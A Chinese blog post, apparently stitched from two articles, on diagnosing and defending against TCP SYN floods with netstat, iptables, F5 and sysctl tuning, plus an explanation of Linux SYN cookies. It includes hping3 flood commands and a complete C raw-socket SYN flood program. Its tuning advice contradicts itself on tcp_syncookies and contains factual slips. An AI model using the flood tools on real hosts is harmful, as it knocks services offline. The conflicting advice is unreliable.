最新消息:

TCP洪水攻击(SYN Flood)的诊断和处理

tcp admin 3236浏览 0评论

1. SYN Flood介绍

前段时间网站被攻击多次,其中最猛烈的就是TCP洪水攻击,即SYN Flood。

SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请求连接的第一个握手包(SYN包),被攻击服务器回应第二个握手包(SYN+ACK包),因为对方是假冒IP,对方永远收不到包且不会回应第三个握手包。导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。

详细的原理,网上有很多介绍,应对办法也很多,但大部分没什么效果,这里介绍我们是如何诊断和应对的。

2. 诊断

我们看到业务曲线大跌时,检查机器和DNS,发现只是对外的web机响应慢、CPU负载高、ssh登陆慢甚至有些机器登陆不上,检查系统syslog:

# tail -f /var/log/messages
Apr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies.

 

检查连接数增多,并且SYN_RECV 连接特别多:

# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 
TIME_WAIT 16855
CLOSE_WAIT 21
SYN_SENT 99
FIN_WAIT1 229
FIN_WAIT2 113
ESTABLISHED 8358
SYN_RECV 48965
CLOSING 3
LAST_ACK 313

 

根据经验,正常时检查连接数如下:

# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 
TIME_WAIT 42349
CLOSE_WAIT 1
SYN_SENT 4
FIN_WAIT1 298
FIN_WAIT2 33
ESTABLISHED 12775
SYN_RECV 259
CLOSING 6
LAST_ACK 432

 

以上就是TCP洪水攻击的两大特征。执行netstat -na>指定文件,保留罪证。

3. 应急处理

根据netstat查看到的对方IP特征:
# netstat -na |grep SYN_RECV|more

利用iptables临时封掉最大嫌疑攻击的IP或IP号段,例如对方假冒173.*.*.*号段来攻击,短期禁用173.*.*.*这个大号段(要确认小心不要封掉自己的本地IP了!)
# iptables -A INPUT -s  173.0.0.0/8  -p tcp  –dport 80 -j DROP

再分析刚才保留的罪证,分析业务,用iptables解封正常173.*.*.*号段内正常的ip和子网段。这样应急处理很容易误伤,甚至可能因为封错了导致ssh登陆不了服务器,并不是理想方式。

4. 使用F5挡攻击

应急处理毕竟太被动,因为本机房的F5比较空闲,运维利用F5来挡攻击,采用方式:让客户端先和F5三次握手,连接建立之后F5才转发到后端业务服务器。后来被攻击时F5上看到的现象:
1. 连接数比平时多了500万,攻击停止后恢复。
2. 修改F5上我们业务的VS模式后,F5的CPU消耗比平时多7%,攻击停止后恢复。
3. 用F5挡效果明显,后来因攻击无效后,用户很少来攻击了,毕竟攻击也是有成本的。

5. 调整系统参数挡攻击

没有F5这种高级且昂贵的设备怎么办?我测试过以下参数组合能明显减小影响,准备以后不用F5抗攻击。

第一个参数tcp_synack_retries 0是关键,表示回应第二个握手包(SYN+ACK包)给客户端IP后,如果收不到第三次握手包(ACK包)后,不进行重试,加快回收“半连接”,不要耗光资源。

不修改这个参数,模拟攻击,10秒后被攻击的80端口即无法服务,机器难以ssh登录; 用命令netstat -na |grep SYN_RECV检测“半连接”hold住180秒;

修改这个参数为0,再模拟攻击,持续10分钟后被攻击的80端口都可以服务,响应稍慢些而已,只是ssh有时也登录不上;检测“半连接”只hold住3秒即释放掉。

修改这个参数为0的副作用:网络状况很差时,如果对方没收到第二个握手包,可能连接服务器失败,但对于一般网站,用户刷新一次页面即可。这些可以在高峰期或网络状况不好时tcpdump抓包验证下。

根据以前的抓包经验,这种情况很少,但为了保险起见,可以只在被tcp洪水攻击时临时启用这个参数。

tcp_synack_retries默认为5,表示重发5次,每次等待30~40秒,即“半连接”默认hold住大约180秒。详细解释:

The tcp_synack_retries setting tells the kernel how many times to retransmit the SYN,ACK reply to
an SYN request. In other words, this tells the system how many times to try to establish a passive
TCP connection that was started by another host.
This variable takes an integer value, but should under no circumstances be larger than 255 for the
same reasons as for the tcp_syn_retries variable. Each retransmission will take aproximately 30-40
seconds. The default value of the tcp_synack_retries variable is 5, and hence the default timeout
of passive TCP connections is aproximately 180 seconds.

之所以可以把tcp_synack_retries改为0,因为客户端还有tcp_syn_retries参数,默认是5,即使服务器端没有重发SYN+ACK包,客户端也会重发SYN握手包。详细解释:

The tcp_syn_retries variable tells the kernel how many times to try to retransmit the initial SYN
packet for an active TCP connection attempt.
This variable takes an integer value, but should not be set higher than 255 since each
retransmission will consume huge amounts of time as well as some amounts of bandwidth. Each
connection retransmission takes aproximately 30-40 seconds. The default setting is 5, which
would lead to an aproximate of 180 seconds delay before the connection times out.

第二个参数net.ipv4.tcp_max_syn_backlog 200000也重要,具体多少数值受限于内存。

以下配置,第一段参数是最重要的,第二段参数是辅助的,其余参数是其他作用的:
# vi /etc/sysctl.conf

#最关键参数,默认为5,修改为0 表示不要重发

net.ipv4.tcp_synack_retries = 0

#半连接队列长度

net.ipv4.tcp_max_syn_backlog = 200000

#系统允许的文件句柄的最大数目,因为连接需要占用文件句柄

fs.file-max = 819200

#用来应对突发的大并发connect 请求

net.core.somaxconn = 65536

#最大的TCP 数据接收缓冲(字节)

net.core.rmem_max = 1024123000

#最大的TCP 数据发送缓冲(字节)

net.core.wmem_max = 16777216

#网络设备接收数据包的速率比内核处理这些包的速率快时,允许送到队列的数据包的最大数目

net.core.netdev_max_backlog = 165536

#本机主动连接其他机器时的端口分配范围

net.ipv4.ip_local_port_range = 10000 65535

使配置生效:
# sysctl -p

注意,以下参数面对外网时,不要打开。因为副作用很明显,具体原因请google,如果已打开请显式改为0,然后执行sysctl -p关闭。因为经过试验,大量TIME_WAIT状态的连接对系统没太大影响:

#当出现 半连接 队列溢出时向对方发送syncookies,调大 半连接 队列后没必要

net.ipv4.tcp_syncookies = 0

#TIME_WAIT状态的连接重用功能

net.ipv4.tcp_tw_reuse = 0

#时间戳选项,与前面net.ipv4.tcp_tw_reuse参数配合

net.ipv4.tcp_timestamps = 0

#TIME_WAIT状态的连接回收功能

net.ipv4.tcp_tw_recycle = 0

为了处理大量连接,还需改大另一个参数:
# vi /etc/security/limits.conf 

在底下添加一行表示允许每个用户都最大可打开409600个文件句柄(包括连接):
               –       nofile          409600

6. 参考资料

文件句柄不要超过系统限制/usr/include/linux/fs.h,相关链接: ​http://blog.yufeng.info/archives/1380
#define NR_OPEN (1024*1024)     

内核参数详细解释:http://www.frozentux.net/ipsysctl-tutorial/chunkyhtml/tcpvariables.html

简介

TCP协议要经过三次握手才能建立连接:

(from wiki)

于是出现了对于握手过程进行的攻击。攻击者发送大量的FIN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+ACK)是否发送成功,默认情况下会重试5次(tcp_syn_retries)。这样的话,对于服务器的内存,带宽都有很大的消耗。攻击者如果处于公网,可以伪造IP的话,对于服务器就很难根据IP来判断攻击者,给防护带来很大的困难。

攻与防

攻击者角度

从攻击者的角度来看,有两个地方可以提高服务器防御的难度的:

  • 变换端口
  • 伪造IP

变换端口很容易做到,攻击者可以使用任意端口。

攻击者如果是只有内网IP,是没办法伪造IP的,因为伪造的SYN包会被路由抛弃。攻击者如果是有公网IP,则有可能伪造IP,发出SYN包。(TODO,待更多验证)

hping3

hping3是一个很有名的网络安全工具,使用它可以很容易构造各种协议包。

用下面的命令可以很容易就发起SYN攻击:

sudo hping3 --flood -S -p 9999  x.x.x.x  
#random source address  
sudo hping3 --flood -S --rand-source -p 9999  x.x.x.x  

 

–flood 是不间断发包的意思

-S         是SYN包的意思

更多的选项,可以man hping3 查看文档,有详细的说明。

如果是条件允许,可以伪造IP地址的话,可以用–rand-source参数来伪造。

我在实际测试的过程中,可以伪造IP,也可以发送出去,但是服务器没有回应,从本地路由器的统计数据可以看出是路由器把包给丢弃掉了。

我用两个美国的主机来测试,使用

sudo hping3 –flood -S  -p 9999  x.x.x.x

发现,实际上攻击效果有限,只有网络使用上涨了,服务器的cpu,内存使用都没有什么变化:

为什么会这样呢?下面再解析。

防御者角度

当可能遇到SYN flood攻击时,syslog,/var/log/syslog里可能会出现下面的日志:

kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies.  Check SNMP counters.

这个也有可能是SNMP协议误报,下面再解析。

从防御者的角度来看,主要有以下的措施:

  • 内核参数的调优
  • 防火墙禁止掉部分IP

linux内核参数调优主要有下面三个:

  • 增大tcp_max_syn_backlog
  • 减小tcp_synack_retries
  • 启用tcp_syncookies

tcp_max_syn_backlog

从字面上就可以推断出是什么意思。在内核里有个队列用来存放还没有确认ACK的客户端请求,当等待的请求数大于tcp_max_syn_backlog时,后面的会被丢弃。

所以,适当增大这个值,可以在压力大的时候提高握手的成功率。手册里推荐大于1024。

tcp_synack_retries

这个是三次握手中,服务器回应ACK给客户端里,重试的次数。默认是5。显然攻击者是不会完成整个三次握手的,因此服务器在发出的ACK包在没有回应的情况下,会重试发送。当发送者是伪造IP时,服务器的ACK回应自然是无效的。

为了防止服务器做这种无用功,可以把tcp_synack_retries设置为0或者1。因为对于正常的客户端,如果它接收不到服务器回应的ACK包,它会再次发送SYN包,客户端还是能正常连接的,只是可能在某些情况下建立连接的速度变慢了一点。

tcp_syncookies

根据man tcp手册,tcp_syncookies是这样解析的:

      tcp_syncookies (Boolean; since Linux 2.2)
             Enable TCP syncookies.  The kernel must be compiled with CONFIG_SYN_COOKIES.  Send out syncookies  when  the
             syn  backlog  queue  of  a socket overflows.  The syncookies feature attempts to protect a socket from a SYN
             flood attack.  This should be used as a last resort, if at all.  This is a violation of  the  TCP  protocol,
             and conflicts with other areas of TCP such as TCP extensions.  It can cause problems for clients and relays.
             It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
             ured   conditions.    For   recommended   alternatives   see  tcp_max_syn_backlog,  tcp_synack_retries,  and
             tcp_abort_on_overflow.

当半连接的请求数量超过了tcp_max_syn_backlog时,内核就会启用SYN cookie机制,不再把半连接请求放到队列里,而是用SYN cookie来检验。

手册上只给出了模糊的说明,具体的实现没有提到。

linux下SYN cookie的实现

查看了linux的代码(https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c )后,发现linux的实现并不是像wiki上

SYN cookie是非常巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程,从而让服务器的负载可以大大降低。

在三次握手中,当服务器回应(SYN + ACK)包后,客户端要回应一个n + 1的ACK到服务器。其中n是服务器自己指定的。当启用tcp_syncookies时,linux内核生成一个特定的n值,而不并把客户的连接放到半连接的队列里(即没有存储任何关于这个连接的信息)。当客户端提交第三次握手的ACK包时,linux内核取出n值,进行校验,如果通过,则认为这个是一个合法的连接。

即ISN(initial sequence number),是一个无符号的32位整数,那么linux内核是如何把信息记录到这有限的32位里,并完成校验的

首先,TCP连接建立时,双方要协商好MSS(Maximum segment size),服务器要把客户端在ACK包里发过来的MSS值记录下来。

另外,因为服务器没有记录ACK包的任何信息,实际上是绕过了正常的TCP握手的过程,服务器只能靠客户端的第三次握手发过来的ACK包来验证,所以必须要有一个可靠的校验算法,防止攻击者伪造ACK,劫持会话。

linux是这样实现的:

1. 在服务器上有一个60秒的计时器,即每隔60秒,count加一;

2. MSS是这样子保存起来的,用一个硬编码的数组,保存起一些MSS值:

static __u16 const msstab[] = {  
    536,  
    1300,  
    1440,     
    1460,  
};

 

比较客户发过来的mms,取一个比客户发过来的值还要小的mms。算法很简单:

u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th,  
                  u16 *mssp)  
{  
    int mssind;  
    const __u16 mss = *mssp;  
  
    for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)  
        if (mss >= msstab[mssind])  
            break;  
    *mssp = msstab[mssind];  
  
    return secure_tcp_syn_cookie(iph->saddr, iph->daddr,  
                     th->source, th->dest, ntohl(th->seq),  
                     mssind);  
}

 

比较客户发过来的mms,取一个比客户发过来的值还要小的mms。

真正的算法在这个函数里:

static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,  
                   __be16 dport, __u32 sseq, __u32 data)  
{  
      
    u32 count = tcp_cookie_time();  
    return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +  
        sseq + (count << COOKIEBITS) +  
        ((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)  
         & COOKIEMASK));  
}

 

data实际上是mss的值对应的数组下标,count是每一分钟会加1,sseq是客户端发过来的sequence。

这样经过hash和一些加法,得到了一个ISN值,其中里记录了这个连接合适的MSS值。

当接收到客户端发过来的第三次握手的ACK包时,反向检查即可:

int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th,  
              u32 cookie)  
{  
    __u32 seq = ntohl(th->seq) - 1;  
    __u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,  
                        th->source, th->dest, seq);  
  
  
    return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;  
}

 

先得到原来的seq,再调用check_tcp_syn_cookie函数:

static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,  
                  __be16 sport, __be16 dport, __u32 sseq)  
{  
    u32 diff, count = tcp_cookie_time();  
  
  
      
    cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;  
  
  
      
    diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);  
    if (diff >= MAX_SYNCOOKIE_AGE)  
        return (__u32)-1;  
  
  
    return (cookie -  
        cookie_hash(saddr, daddr, sport, dport, count - diff, 1))  
        & COOKIEMASK;     
}

 

先减去之前的一些值,第一个hash和sseq。然后计算现在的count(每60秒加1的计数器)和之前的发给客户端,然后客户端返回过来的count的差:
如果大于MAX_SYNCOOKIE_AGE,即2,即2分钟。则说明已经超时了。
否则,计算得出之前放进去的mss。这样内核就认为这个是一个合法的TCP连接,并且得到了一个合适的mss值,这样就建立起了一个合法的TCP连接。
可以看到SYN cookie机制十分巧妙地不用任何存储,以略消耗CPU实现了对第三次握手的校验。

但是有得必有失,ISN里只存储了MSS值,因此,其它的TCP Option都不会生效,这就是为什么SNMP协议会误报的原因了。

更强大的攻击者

SYN cookie虽然十分巧妙,但是也给攻击者带了新的攻击思路。

因为SYN cookie机制不是正常的TCP三次握手。因此攻击者可以构造一个第三次握手的ACK包,从而劫持会话。

攻击者的思路很简单,通过暴力发送大量的伪造的第三次握手的ACK包,因为ISN只有32位,攻击者只要发送全部的ISN数据ACK包,总会有一个可以通过服务器端的校验。

有的人就会问了,即使攻击者成功通过了服务器的检验,它还是没有办法和服务器正常通讯啊,因为服务器回应的包都不会发给攻击者。

刚开始时,我也有这个疑问,但是TCP允许在第三次握手的ACK包里带上后面请求的数据,这样可以加快数据的传输。所以,比如一个http服务器,攻击者可以通过在第三次握手的ACK包里带上http get/post请求,从而完成攻击。

所以对于服务器而言,不能只是依靠IP来校验合法的请求,还要通过其它的一些方法来加强校验。比如CSRF等。

值得提醒的是即使是正常的TCP三次握手过程,攻击者还是可以进行会话劫持的,只是概率比SYN cookie的情况下要小很多。

详细的攻击说明:http://www.91ri.org/7075.html

一个用raw socket SYN flood攻击的代码

下面给出一个tcp syn flood的攻击的代码:

#include   
#include   
#include   
#include   
#include   
#include   
#include   
#include   
#include   
#include   
#include   
  
#pragma pack(1)  
struct pseudo_header    //needed for checksum calculation  
{  
    unsigned int source_address;  
    unsigned int dest_address;  
    unsigned char placeholder;  
    unsigned char protocol;  
    unsigned short tcp_length;  
  
    struct tcphdr tcp;  
};  
#pragma pack()  
  
unsigned short csum(unsigned short *ptr, int nbytes) {  
"white-space:pre">  long sum;  
"white-space:pre">  unsigned short oddbyte;  
"white-space:pre">  short answer;  
  
  
"white-space:pre">  sum = 0;  
"white-space:pre">  while (nbytes > 1) {  
"white-space:pre">      sum += *ptr++;  
"white-space:pre">      nbytes -= 2;  
"white-space:pre">  }  
"white-space:pre">  if (nbytes == 1) {  
"white-space:pre">      oddbyte = 0;  
"white-space:pre">      *((u_char*) &oddbyte) = *(u_char*) ptr;  
"white-space:pre">      sum += oddbyte;  
"white-space:pre">  }  
  
"white-space:pre">  sum = (sum >> 16) + (sum & 0xffff);  
"white-space:pre">  sum = sum + (sum >> 16);  
"white-space:pre">  answer = (short) ~sum;  
  
  
"white-space:pre">  return (answer);  
}  
  
void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,  
        in_addr_t destination, u_int16_t destinationPort) {  
    static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };  
    bzero(sendBuf, sizeof(sendBuf));  
  
    struct iphdr* ipHeader = (iphdr*) sendBuf;  
    struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr));  
  
    ipHeader->version = 4;  
    ipHeader->ihl = 5;  
  
    ipHeader->tos = 0;  
    ipHeader->tot_len = htons(sizeof(sendBuf));  
  
    ipHeader->id = htons(1);  
    ipHeader->frag_off = 0;  
    ipHeader->ttl = 254;  
    ipHeader->protocol = IPPROTO_TCP;  
    ipHeader->check = 0;  
    ipHeader->saddr = source;  
    ipHeader->daddr = destination;  
  
    ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2);  
  
    //TCP Header  
    tcph->source = htons(sourcePort);  
    tcph->dest = htons(destinationPort);  
    tcph->seq = 0;  
    tcph->ack_seq = 0;  
    tcph->doff = 5; //sizeof(tcphdr)/4  
    tcph->fin = 0;  
    tcph->syn = 1;  
    tcph->rst = 0;  
    tcph->psh = 0;  
    tcph->ack = 0;  
    tcph->urg = 0;  
    tcph->window = htons(512);  
    tcph->check = 0;  
    tcph->urg_ptr = 0;  
  
    //tcp header checksum  
    struct pseudo_header pseudoHeader;  
    pseudoHeader.source_address = source;  
    pseudoHeader.dest_address = destination;  
    pseudoHeader.placeholder = 0;  
    pseudoHeader.protocol = IPPROTO_TCP;  
    pseudoHeader.tcp_length = htons(sizeof(tcphdr));  
    memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));  
  
    tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));  
  
    struct sockaddr_in sin;  
    sin.sin_family = AF_INET;  
    sin.sin_port = htons(sourcePort);  
    sin.sin_addr.s_addr = destination;  
  
    ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,  
            (struct sockaddr *) &sin, sizeof(sin));  
    if (sentLen == -1) {  
        perror("sent error");  
    }  
}  
  
int main(void) {  
    //for setsockopt  
    int optval = 1;  
  
    //create a raw socket  
    int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);  
    if (socketfd == -1) {  
        perror("create socket:");  
        exit(0);  
    }  
    if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))  
            < 0) {  
        perror("create socket:");  
        exit(0);  
    }  
  
    in_addr_t source = inet_addr("192.168.1.100");  
    in_addr_t destination = inet_addr("192.168.1.101");  
    u_int16_t sourcePort = 1;  
    u_int16_t destinationPort = 9999;  
    while (1) {  
        oneSyn(socketfd, source, sourcePort++, destination,  
                destinationPort);  
        sourcePort %= 65535;  
        sleep(1);  
    }  
  
    return 0;  
}

 

总结:

对于SYN flood攻击,调整下面三个参数就可以防范绝大部分的攻击了。

  • 增大tcp_max_syn_backlog
  • 减小tcp_synack_retries
  • 启用tcp_syncookies

貌似现在的内核默认都是开启tcp_syncookies的。

转载请注明:爱开源 » TCP洪水攻击(SYN Flood)的诊断和处理

您必须 登录 才能发表评论!